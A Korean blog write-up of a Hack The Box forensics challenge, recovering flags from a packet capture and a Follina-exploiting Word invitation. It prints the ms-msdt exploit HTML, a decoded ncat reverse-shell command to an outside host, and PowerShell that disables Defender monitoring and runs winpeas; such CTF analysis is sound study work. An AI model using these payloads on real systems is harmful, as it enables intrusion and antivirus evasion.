🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

180

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

728x90
반응형

문제 설명

A CEO of a startup company reported that he could no longer access his Password Vault. It seems the password has been changed, but he states not to have done so. He reports receiving a birthday invitation to a Paintball party the last week. A few days later, his Italian friend told him that her email had been hacked and never sent out those birthday invites. He fears his lost password might have something to do with that birthday invite. Their SOC team confirmed their assumptions by admitting that this document escaped their attention and did not trigger any alert. Now they want us, ENIGMA, to analyze the provided network capture they took on the day and the document sent via his friends' email.

 

문제 풀이

우선 백신이 악성코드로 탐지하는 저 birthday_invite.docx 파일을 열어보기 전에 capture.pcapng 파일을 분석해보았습니다.

HTTP Data와 SSH가 눈에 띄네요. Data부터 바로 열어보았습니다. javascript 로 매우 길게 URL인코딩되어 있는 무언가가 보입니다.

디코딩해보면 html document 하나가 나옵니다. 내용은 아래와 같습니다.

<!doctype html>
<html lang="en">


<head>
<title>
Good thing we disabled macros
</title>
</head>


<body>
<p>
		
ICAgIEpldmdyLUlyZW9iZnIgIlsqXSBQZXJuZ3ZhdCBRYmpheWJucSBQZW5xeXIgZnBldmNnIGhmdmF0ICRoZXkiCiAgICAkUWJqYXlibnFQZW5xeXIgPSdbRmxmZ3J6LkFyZy5GcmVpdnByQ2J2YWdabmFudHJlXTo6RnJlaXJlUHJlZ3ZzdnBuZ3JJbnl2cW5ndmJhUG55eW9ucHggPSB7JGdlaHJ9OyRweXZyYWcgPSBBcmotQm93cnBnIEFyZy5Kcm9QeXZyYWc7JHB5dnJhZy5DZWJrbD1bQXJnLkpyb0VyZGhyZmddOjpUcmdGbGZncnpKcm9DZWJrbCgpOyRweXZyYWcuQ2Via2wuUGVycXJhZ3ZueWY9W0FyZy5QZXJxcmFndm55UG5wdXJdOjpRcnNuaHlnUGVycXJhZ3ZueWY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ZhcHZjbnlQYmFncmtnKFtGbGZncnouUXZlcnBnYmVsRnJlaXZwcmYuTnBwYmhhZ1puYW50cnpyYWcuUGJhZ3JrZ0dsY3JdOjpabnB1dmFyKQogICAgJFFGLklueXZxbmdyUGVycXJhZ3ZueWYoIiRzaHl5IiwgIiRjbmZmamJlcSIpIHwgYmhnLWFoeXkKICAgIH0KICRiaGdjaGcgPSAkYXJqcGVycSA9ICRwZXJxLlRyZ0FyZ2piZXhQZXJxcmFndm55KCkgfCBmcnlycGctYm93cnBnIEhmcmVBbnpyLCBRYnpudmEsIENuZmZqYmVxCiAkYmhnY2hnCiBFe0ZHTkVHX0NFQlBSRkZ9Cn0g

	</p>
<script>
 location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
	IT_LaunchMethod=ContextMenu
	IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwA6AFwAXAB3AGkAbgBkAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAIAAvAGMAIABuAGMAYQB0ACAAdwB3AHcALgB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtACAANQA0ADcANgAgAC0AZQAgAGMAbQBkAC4AZQB4AGUAOwAgACQAcAB0ADEAPQBcACIASABUAEIAewBaAGUAcgAwAF8ARABhAHkAWgBfADQAUgBlAF8AQwAwAE8AbABfAEIAdQBUAF8AXAAiAA=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>


</body>


</html>

base64 인코딩되어 있는 내용이 상당수 나옵니다. script 태그 위에 나오는 내용은 base64 디코딩 후 ROT13 을 하였더니 읽을 수 있는 내용이 나왔습니다. 다만 의미가 있는지는 잘 모르겠습니다.

script 태그 안에 있는 내용을 base64 디코딩하게 되면 첫번째 Flag 값이 나옵니다.

c:\\windows\\system32\\cmd.exe /c ncat www.windowsliveupdater.com 5476 -e cmd.exe; $pt1=\"HTB{Zer0_DayZ_4Re_C0Ol_BuT_\"

 

이제 아까보았던 SSH 패킷을 살펴보겠습니다. 뭔가 powershell 코드를 실행하고 있음이 보입니다.

해당 powershell 코드도 base64 인코딩되어있기에 디코딩해보았습니다.

. ( $enV:comSpec[4,24,25]-JOin'') ( ((("{2}{0}{7}{1}{11}{5}{6}{9}{10}{4}{8}{3}"-f 'ef',' ','Set-MpPr','ue','t','altime','Moni','erence','r','tor','ing K35','-DisableRe')) -repLacE  'K35',[ChAR]36))

Iex ( ((("{2}{7}{6}{5}{9}{0}{8}{3}{10}{4}{1}" -f 'h','.exe','<#{0','!}','eas','A','t3=b33n_p','}p','3d','tc','#> .{1}winp'))-f  [Char]36,[Char]92))

위와 같은 코드가 있습니다. 보니깐 문자열 포맷팅 코드가 있으니 문자열부터 하나로 합쳐보았습니다.

Set-MpPreference -DisableRealtimeMonitoring $true
<#{0}pt3=b33n_pAtch3d!}#> .{1}winpeas.exe

이렇게 세 번째 플래그도 발견할 수 있었습니다.

 

이제 마지막 두 번째 플래그를 찾아봅시다. 두 번째 플래그는 docx 문서에 External Resources 부분에 주석처리로 base64 인코딩된 문자열로 보여집니다.

<!--Relationship Id="rOlsk" Type=http://windowsliveupdater.com?Pt2=RjBsbGluYV9oNHNf-->

base64 디코딩하면 F0llina_h4s_ 라는 문자열이 만들어집니다. 이제 3개의 플래그를 정리해보면 아래와 같습니다.

$pt1="HTB{Zer0_DayZ_4Re_C0Ol_BuT_"
$pt2="F0llina_h4s_"
$pt3="b33n_pAtch3d!}"
HTB{Zer0_DayZ_4Re_C0Ol_BuT_F0llina_h4s_b33n_pAtch3d!}

 

포렌식 문제 중에 제일 쉬운 easy 문제였습니다.

 

- 끝 -

728x90
반응형
댓글